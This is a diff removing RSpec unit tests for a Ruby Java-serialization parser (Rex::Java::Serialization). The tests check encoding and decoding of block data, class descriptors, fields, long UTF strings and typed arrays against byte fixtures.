block.decode(empty_block_io)
|
||||
expect(block.length).to eq(0)
|
||||
end
|
||||
|
||||
it "sets contents to empty string" do
|
||||
block.decode(empty_block_io)
|
||||
expect(block.contents).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains incomplete block" do
|
||||
it "returns nil" do
|
||||
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains correct block" do
|
||||
|
||||
it "returns a Rex::Java::Serialization::Model::BlockDataLong" do
|
||||
expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockDataLong)
|
||||
end
|
||||
|
||||
it "sets length to 0" do
|
||||
block.decode(sample_block_io)
|
||||
expect(block.length).to eq(16)
|
||||
end
|
||||
|
||||
it "sets contents to sample string" do
|
||||
block.decode(sample_block_io)
|
||||
expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a block with contents" do
|
||||
block.decode(sample_block_io)
|
||||
expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]')
|
||||
end
|
||||
|
||||
it "prints an empty string for an empty block" do
|
||||
block.decode(empty_block_io)
|
||||
expect(block.to_s).to eq('[ ]')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,106 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::BlockData do
|
||||
subject(:block) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample_block) { "\x10\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" }
|
||||
let(:sample_block_io) { StringIO.new(sample_block) }
|
||||
let(:empty_block) { "\x00" }
|
||||
let(:empty_block_io) { StringIO.new(empty_block) }
|
||||
let(:incomplete_block) { "\x10\x01\x02\x03\x04\x05" }
|
||||
let(:incomplete_block_io) { StringIO.new(incomplete_block) }
|
||||
let(:empty_io) { StringIO.new('') }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::BlockData" do
|
||||
expect(block).to be_a(Rex::Java::Serialization::Model::BlockData)
|
||||
end
|
||||
|
||||
it "initializes length to 0" do
|
||||
expect(block.length).to eq(0)
|
||||
end
|
||||
|
||||
it "initializes contents with empty string" do
|
||||
expect(block.contents).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
context "when empty block" do
|
||||
it { expect(block.encode).to eq(empty_block) }
|
||||
end
|
||||
|
||||
context "when filled block" do
|
||||
it do
|
||||
block.length = 16
|
||||
block.contents = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
expect(block.encode).to eq(sample_block)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
context "when stream contains empty string" do
|
||||
it "returns nil" do
|
||||
expect { block.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains empty block" do
|
||||
it "returns a Rex::Java::Serialization::Model::BlockData" do
|
||||
expect(block.decode(empty_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData)
|
||||
end
|
||||
|
||||
it "sets length to 0" do
|
||||
block.decode(empty_block_io)
|
||||
expect(block.length).to eq(0)
|
||||
end
|
||||
|
||||
it "sets contents to empty string" do
|
||||
block.decode(empty_block_io)
|
||||
expect(block.contents).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains incomplete block" do
|
||||
it "returns nil" do
|
||||
expect { block.decode(incomplete_block_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains correct block" do
|
||||
|
||||
it "returns a Rex::Java::Serialization::Model::BlockData" do
|
||||
expect(block.decode(sample_block_io)).to be_a(Rex::Java::Serialization::Model::BlockData)
|
||||
end
|
||||
|
||||
it "sets length to 0" do
|
||||
block.decode(sample_block_io)
|
||||
expect(block.length).to eq(16)
|
||||
end
|
||||
|
||||
it "sets contents to sample string" do
|
||||
block.decode(sample_block_io)
|
||||
expect(block.contents).to eq("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a block with contents" do
|
||||
block.decode(sample_block_io)
|
||||
expect(block.to_s).to eq('[ 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10 ]')
|
||||
end
|
||||
|
||||
it "prints an empty string for an empty block" do
|
||||
block.decode(empty_block_io)
|
||||
expect(block.to_s).to eq('[ ]')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,81 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::ClassDesc do
|
||||
subject(:class_desc) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
"\x72\x00\x0e\x6a\x61\x76\x61\x2e\x6c\x61\x6e" +
|
||||
"\x67\x2e\x42\x79\x74\x65\x9c\x4e\x60\x84\xee\x50\xf5\x1c\x02\x00" +
|
||||
"\x01\x42\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76" +
|
||||
"\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95" +
|
||||
"\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70"
|
||||
end
|
||||
|
||||
let(:sample_io) { StringIO.new(sample) }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::NewClassDesc" do
|
||||
expect(class_desc).to be_a(Rex::Java::Serialization::Model::ClassDesc)
|
||||
end
|
||||
|
||||
it "initializes description with nil" do
|
||||
expect(class_desc.description).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
it "returns a Rex::Java::Serialization::Model::ClassDesc" do
|
||||
expect(class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ClassDesc)
|
||||
end
|
||||
|
||||
it "deserializes the description correctly" do
|
||||
class_desc.decode(sample_io)
|
||||
expect(class_desc.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "serializes a ClassDesc" do
|
||||
super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Number')
|
||||
super_class_desc_new.serial_version = 0x86ac951d0b94e08b
|
||||
super_class_desc_new.flags = 2
|
||||
super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
super_class_desc.description = super_class_desc_new
|
||||
|
||||
class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.Byte')
|
||||
class_desc_new.serial_version = 0x9c4e6084ee50f51c
|
||||
class_desc_new.flags = 2
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = 'byte'
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'value')
|
||||
class_desc_new.fields << field
|
||||
class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
class_desc_new.super_class = super_class_desc
|
||||
|
||||
class_desc.description = class_desc_new
|
||||
|
||||
expect(class_desc.encode.unpack("C*")).to eq(sample.unpack("C*"))
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints a sample ClassDesc" do
|
||||
class_desc.decode(sample_io)
|
||||
expect(class_desc.to_s).to be_a(String)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,108 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::Field do
|
||||
subject(:field) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample_primitive) { "I\x00\x06number" }
|
||||
let(:sample_primitive_io) { StringIO.new(sample_primitive) }
|
||||
let(:sample_object) { "[\x00\x0atest_arrayt\x00\x0b[LEmployee;" }
|
||||
let(:sample_object_io) { StringIO.new(sample_object) }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::Field" do
|
||||
expect(field).to be_a(Rex::Java::Serialization::Model::Field)
|
||||
end
|
||||
|
||||
it "initializes code with empty string" do
|
||||
expect(field.type).to be_empty
|
||||
end
|
||||
|
||||
it "initializes name with nil" do
|
||||
expect(field.name).to be_nil
|
||||
end
|
||||
|
||||
it "initializes field_type with nil" do
|
||||
expect(field.field_type).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
context "when empty field" do
|
||||
it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) }
|
||||
end
|
||||
|
||||
context "when primitive field" do
|
||||
it do
|
||||
field.type = 'int'
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'number')
|
||||
expect(field.encode).to eq(sample_primitive)
|
||||
end
|
||||
end
|
||||
|
||||
context "when object field" do
|
||||
it do
|
||||
field.type = 'array'
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'test_array')
|
||||
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[LEmployee;')
|
||||
expect(field.encode).to eq(sample_object)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
context "when stream contains a primitive field" do
|
||||
it "returns a Rex::Java::Serialization::Model::Field" do
|
||||
expect(field.decode(sample_primitive_io)).to be_a(Rex::Java::Serialization::Model::Field)
|
||||
end
|
||||
|
||||
it "deserializes field type" do
|
||||
field.decode(sample_primitive_io)
|
||||
expect(field.type).to eq('int')
|
||||
end
|
||||
|
||||
it "deserializes field name as Utf" do
|
||||
field.decode(sample_primitive_io)
|
||||
expect(field.name.contents).to eq('number')
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains an object field" do
|
||||
it "returns a Rex::Java::Serialization::Model::Field" do
|
||||
expect(field.decode(sample_object_io)).to be_a(Rex::Java::Serialization::Model::Field)
|
||||
end
|
||||
|
||||
it "deserializes field type" do
|
||||
field.decode(sample_object_io)
|
||||
expect(field.type).to eq('array')
|
||||
end
|
||||
|
||||
it "deserializes field name" do
|
||||
field.decode(sample_object_io)
|
||||
expect(field.name.contents).to eq('test_array')
|
||||
end
|
||||
|
||||
it "deserializes field_type string" do
|
||||
field.decode(sample_object_io)
|
||||
expect(field.field_type.contents).to eq('[LEmployee;')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints an stream containing a primitive field" do
|
||||
field.decode(sample_primitive_io)
|
||||
expect(field.to_s).to eq('number (int)')
|
||||
end
|
||||
|
||||
it "prints an stream containing an object field" do
|
||||
field.decode(sample_object_io)
|
||||
expect(field.to_s).to eq('test_array ([LEmployee;)')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,107 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::LongUtf do
|
||||
subject(:long_utf) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:sample_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Number" }
|
||||
let(:sample_utf_io) { StringIO.new(sample_utf) }
|
||||
let(:empty_utf) { "\x00\x00\x00\x00\x00\x00\x00\x00" }
|
||||
let(:empty_utf_io) { StringIO.new(empty_utf) }
|
||||
let(:incomplete_utf) { "\x00\x00\x00\x00\x00\x00\x00\x10java.lang.Numb" }
|
||||
let(:incomplete_utf_io) { StringIO.new(incomplete_utf) }
|
||||
let(:empty_io) { StringIO.new('') }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::LongUtf" do
|
||||
expect(long_utf).to be_a(Rex::Java::Serialization::Model::LongUtf)
|
||||
end
|
||||
|
||||
it "initializes length to 0" do
|
||||
expect(long_utf.length).to eq(0)
|
||||
end
|
||||
|
||||
it "initializes contents with empty string" do
|
||||
expect(long_utf.contents).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
context "when empty long_utf" do
|
||||
it { expect(long_utf.encode).to eq(empty_utf) }
|
||||
end
|
||||
|
||||
context "when filled utf" do
|
||||
it do
|
||||
long_utf.length = 16
|
||||
long_utf.contents = 'java.lang.Number'
|
||||
expect(long_utf.encode).to eq(sample_utf)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
context "when stream contains empty string" do
|
||||
it "raises Rex::Java::Serialization::DecodeError" do
|
||||
expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains empty long_utf" do
|
||||
it "returns a Rex::Java::Serialization::Model::LongUtf" do
|
||||
expect(long_utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf)
|
||||
end
|
||||
|
||||
it "sets length to 0" do
|
||||
long_utf.decode(empty_utf_io)
|
||||
expect(long_utf.length).to eq(0)
|
||||
end
|
||||
|
||||
it "sets contents to empty string" do
|
||||
long_utf.decode(empty_utf_io)
|
||||
expect(long_utf.contents).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains incomplete long_utf" do
|
||||
it "returns nil" do
|
||||
expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when stream contains correct long_utf" do
|
||||
|
||||
it "returns a Rex::Java::Serialization::Model::LongUtf" do
|
||||
expect(long_utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::LongUtf)
|
||||
end
|
||||
|
||||
it "sets length to 0" do
|
||||
long_utf.decode(sample_utf_io)
|
||||
expect(long_utf.length).to eq(16)
|
||||
end
|
||||
|
||||
it "sets contents to sample string" do
|
||||
long_utf.decode(sample_utf_io)
|
||||
expect(long_utf.contents).to eq('java.lang.Number')
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "prints an stream containing a sample long utf" do
|
||||
long_utf.decode(sample_utf_io)
|
||||
expect(long_utf.to_s).to eq('java.lang.Number')
|
||||
end
|
||||
|
||||
it "prints an stream containing an empty long utf" do
|
||||
long_utf.decode(empty_utf_io)
|
||||
expect(long_utf.to_s).to eq('')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,469 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/java'
|
||||
require 'stringio'
|
||||
|
||||
RSpec.describe Rex::Java::Serialization::Model::NewArray do
|
||||
subject(:new_array) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
let(:boolean_array) do
|
||||
"\x72\x00\x02\x5b\x5a\x57\x8f\x20" +
|
||||
"\x39\x14\xb8\x5d\xe2\x02\x00\x00" +
|
||||
"\x78\x70\x00\x00\x00\x0a\x01\x00" +
|
||||
"\x01\x01\x01\x01\x01\x01\x01\x00"
|
||||
end
|
||||
let(:boolean_array_io) { StringIO.new(boolean_array) }
|
||||
|
||||
let(:byte_array) do
|
||||
"\x72\x00\x02\x5b\x42\xac\xf3\x17" +
|
||||
"\xf8\x06\x08\x54\xe0\x02\x00\x00" +
|
||||
"\x78\x70\x00\x00\x00\x02\xec\x41"
|
||||
end
|
||||
let(:byte_array_io) { StringIO.new(byte_array) }
|
||||
|
||||
let(:char_array) do
|
||||
"\x72\x00\x02\x5b\x43\xb0\x26\x66" +
|
||||
"\xb0\xe2\x5d\x84\xac\x02\x00\x00" +
|
||||
"\x78\x70\x00\x00\x00\x02\x00\x61" +
|
||||
"\x00\x62"
|
||||
end
|
||||
let(:char_array_io) { StringIO.new(char_array) }
|
||||
|
||||
let(:short_array) do
|
||||
"\x72\x00\x02\x5b\x53\xef\x83\x2e" +
|
||||
"\x06\xe5\x5d\xb0\xfa\x02\x00\x00" +
|
||||
"\x78\x70\x00\x00\x00\x02\xff\xec" +
|
||||
"\x00\x41"
|
||||
end
|
||||
let(:short_array_io) { StringIO.new(short_array) }
|
||||
|
||||
let(:double_array) do
|
||||
"\x72\x00\x02\x5b\x44\x3e\xa6\x8c" +
|
||||
"\x14\xab\x63\x5a\x1e\x02\x00\x00" +
|
||||
"\x78\x70\x00\x00\x00\x02\x3f\xd0" +
|
||||
"\x00\x00\x00\x00\x00\x00\x3f\xca" +
|
||||
"\xe1\x47\xae\x14\x7a\xe1"
|
||||
end
|
||||
let(:double_array_io) { StringIO.new(double_array) }
|
||||
|
||||
let(:float_array) do
|
||||
"\x72\x00\x02\x5b\x46\x0b\x9c\x81" +
|
||||
"\x89\x22\xe0\x0c\x42\x02\x00\x00" +
|
||||
"\x78\x70\x00\x00\x00\x02\x3f\x80" +
|
||||
"\x00\x00\x40\x00\x00\x00"
|
||||
end
|
||||
let(:float_array_io) { StringIO.new(float_array) }
|
||||
|
||||
let(:int_array) do
|
||||
"\x72\x00\x02\x5b\x49\x4d\xba\x60" +
|
||||
"\x26\x76\xea\xb2\xa5\x02\x00\x00" +
|
||||
"\x78\x70\x00\x00\x00\x02\xff\xff" +
|
||||
"\xff\xec\x00\x00\x00\x41"
|
||||
end
|
||||
let(:int_array_io) { StringIO.new(int_array) }
|
||||
|
||||
let(:long_array) do
|
||||
"\x72\x00\x02\x5b\x4a\x78\x20\x04" +
|
||||
"\xb5\x12\xb1\x75\x93\x02\x00\x00" +
|
||||
"\x78\x70\x00\x00\x00\x02\xff\xff" +
|
||||
"\xff\xff\xff\xff\xff\xec\x00\x00" +
|
||||
"\x00\x00\x00\x00\x00\x41"
|
||||
end
|
||||
let(:long_array_io) { StringIO.new(long_array) }
|
||||
|
||||
let(:string_array) do
|
||||
"\x72\x00\x13\x5b\x4c\x6a\x61\x76" +
|
||||
"\x61\x2e\x6c\x61\x6e\x67\x2e\x53" +
|
||||
"\x74\x72\x69\x6e\x67\x3b\xad\xd2" +
|
||||
"\x56\xe7\xe9\x1d\x7b\x47\x02\x00" +
|
||||
"\x00\x78\x70\x00\x00\x00\x01\x74" +
|
||||
"\x00\x03\x6d\x73\x66"
|
||||
end
|
||||
let(:string_array_io) { StringIO.new(string_array) }
|
||||
|
||||
describe ".new" do
|
||||
it "Rex::Java::Serialization::Model::NewArray" do
|
||||
expect(new_array).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "initializes array_description with nil" do
|
||||
expect(new_array.array_description).to be_nil
|
||||
end
|
||||
|
||||
it "initializes type with an empty String" do
|
||||
expect(new_array.type).to be_empty
|
||||
end
|
||||
|
||||
it "initializes values with an empty Array" do
|
||||
expect(new_array.values).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
describe "#decode" do
|
||||
|
||||
context "when boolean Array" do
|
||||
it "deserializes Array" do
|
||||
expect(new_array.decode(boolean_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "deserializes type correctly" do
|
||||
new_array.decode(boolean_array_io)
|
||||
expect(new_array.type).to eq('boolean')
|
||||
end
|
||||
|
||||
it "deserializes values correctly" do
|
||||
new_array.decode(boolean_array_io)
|
||||
expect(new_array.values).to eq([1, 0, 1, 1, 1, 1, 1, 1, 1, 0])
|
||||
end
|
||||
end
|
||||
|
||||
context "when byte Array" do
|
||||
it "deserializes Array" do
|
||||
expect(new_array.decode(byte_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "deserializes type correctly" do
|
||||
new_array.decode(byte_array_io)
|
||||
expect(new_array.type).to eq('byte')
|
||||
end
|
||||
|
||||
it "deserializes values correctly" do
|
||||
new_array.decode(byte_array_io)
|
||||
expect(new_array.values).to eq([-20, 65])
|
||||
end
|
||||
end
|
||||
|
||||
context "when char Array" do
|
||||
it "deserializes Array" do
|
||||
expect(new_array.decode(char_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "deserializes type correctly" do
|
||||
new_array.decode(char_array_io)
|
||||
expect(new_array.type).to eq('char')
|
||||
end
|
||||
|
||||
it "deserializes values correctly" do
|
||||
new_array.decode(char_array_io)
|
||||
expect(new_array.values).to eq([97, 98])
|
||||
end
|
||||
end
|
||||
|
||||
context "when short Array" do
|
||||
it "deserializes Array" do
|
||||
expect(new_array.decode(short_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "deserializes type correctly" do
|
||||
new_array.decode(short_array_io)
|
||||
expect(new_array.type).to eq('short')
|
||||
end
|
||||
|
||||
it "deserializes values correctly" do
|
||||
new_array.decode(short_array_io)
|
||||
expect(new_array.values).to eq([-20, 65])
|
||||
end
|
||||
end
|
||||
|
||||
context "when double Array" do
|
||||
it "deserializes Array" do
|
||||
expect(new_array.decode(double_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "deserializes type correctly" do
|
||||
new_array.decode(double_array_io)
|
||||
expect(new_array.type).to eq('double')
|
||||
end
|
||||
|
||||
it "deserializes values correctly" do
|
||||
new_array.decode(double_array_io)
|
||||
expect(new_array.values).to eq([0.25, 0.21])
|
||||
end
|
||||
end
|
||||
|
||||
context "when float Array" do
|
||||
it "deserializes a float Array" do
|
||||
expect(new_array.decode(float_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "deserializes type correctly" do
|
||||
new_array.decode(float_array_io)
|
||||
expect(new_array.type).to eq('float')
|
||||
end
|
||||
|
||||
it "deserializes values correctly" do
|
||||
new_array.decode(float_array_io)
|
||||
expect(new_array.values).to eq([1.0, 2.0])
|
||||
end
|
||||
end
|
||||
|
||||
context "when int Array" do
|
||||
it "deserializes Array" do
|
||||
expect(new_array.decode(int_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "deserializes type correctly" do
|
||||
new_array.decode(int_array_io)
|
||||
expect(new_array.type).to eq('int')
|
||||
end
|
||||
|
||||
it "deserializes values correctly" do
|
||||
new_array.decode(int_array_io)
|
||||
expect(new_array.values).to eq([-20, 65])
|
||||
end
|
||||
end
|
||||
|
||||
context "when long Array" do
|
||||
it "deserializes Array" do
|
||||
expect(new_array.decode(long_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "deserializes type correctly" do
|
||||
new_array.decode(long_array_io)
|
||||
expect(new_array.type).to eq('long')
|
||||
end
|
||||
|
||||
it "deserializes values correctly" do
|
||||
new_array.decode(long_array_io)
|
||||
expect(new_array.values).to eq([-20, 65])
|
||||
end
|
||||
end
|
||||
|
||||
context "when Strings (Objects) array" do
|
||||
it "deserializes the array" do
|
||||
expect(new_array.decode(string_array_io)).to be_a(Rex::Java::Serialization::Model::NewArray)
|
||||
end
|
||||
|
||||
it "deserializes type correctly" do
|
||||
new_array.decode(string_array_io)
|
||||
expect(new_array.type).to eq('java.lang.String;')
|
||||
end
|
||||
|
||||
it "deserializes number of members correctly" do
|
||||
new_array.decode(string_array_io)
|
||||
expect(new_array.values.length).to eq(1)
|
||||
end
|
||||
|
||||
it "deserializes the members correctly" do
|
||||
new_array.decode(string_array_io)
|
||||
expect(new_array.values[0].contents).to eq('msf')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#encode" do
|
||||
it "serializes a boolean Array" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Z')
|
||||
new_class_desc.serial_version = 0x578f203914b85de2
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'boolean'
|
||||
new_array.values = [1, 0, 1, 1, 1, 1, 1, 1, 1, 0]
|
||||
|
||||
expect(new_array.encode.unpack("C*")).to eq(boolean_array.unpack("C*"))
|
||||
end
|
||||
|
||||
it "serializes a byte Array" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
||||
new_class_desc.serial_version = 0xacf317f8060854e0
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'byte'
|
||||
new_array.values = [-20, 65]
|
||||
|
||||
expect(new_array.encode.unpack("C*")).to eq(byte_array.unpack("C*"))
|
||||
end
|
||||
|
||||
it "serializes a char Array" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C')
|
||||
new_class_desc.serial_version = 0xb02666b0e25d84ac
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'char'
|
||||
new_array.values = [97, 98]
|
||||
|
||||
expect(new_array.encode.unpack("C*")).to eq(char_array.unpack("C*"))
|
||||
end
|
||||
|
||||
it "serializes a short Array" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[S')
|
||||
new_class_desc.serial_version = 0xef832e06e55db0fa
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'short'
|
||||
new_array.values = [-20, 65]
|
||||
|
||||
expect(new_array.encode.unpack("C*")).to eq(short_array.unpack("C*"))
|
||||
end
|
||||
|
||||
it "serializes a double Array" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[D')
|
||||
new_class_desc.serial_version = 0x3ea68c14ab635a1e
|
||||
new_class_desc.flags = 2
|
||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
new_array.array_description.description = new_class_desc
|
||||
new_array.type = 'double'
|
||||
new_array.values = [0.25, 0.21]
|
||||
|
||||
expect(new_array.encode.unpack("C*")).to eq(double_array.unpack("C*"))
|
||||
end
|
||||
|
||||
it "serializes a float Array" do
|
||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[F')
|
||||
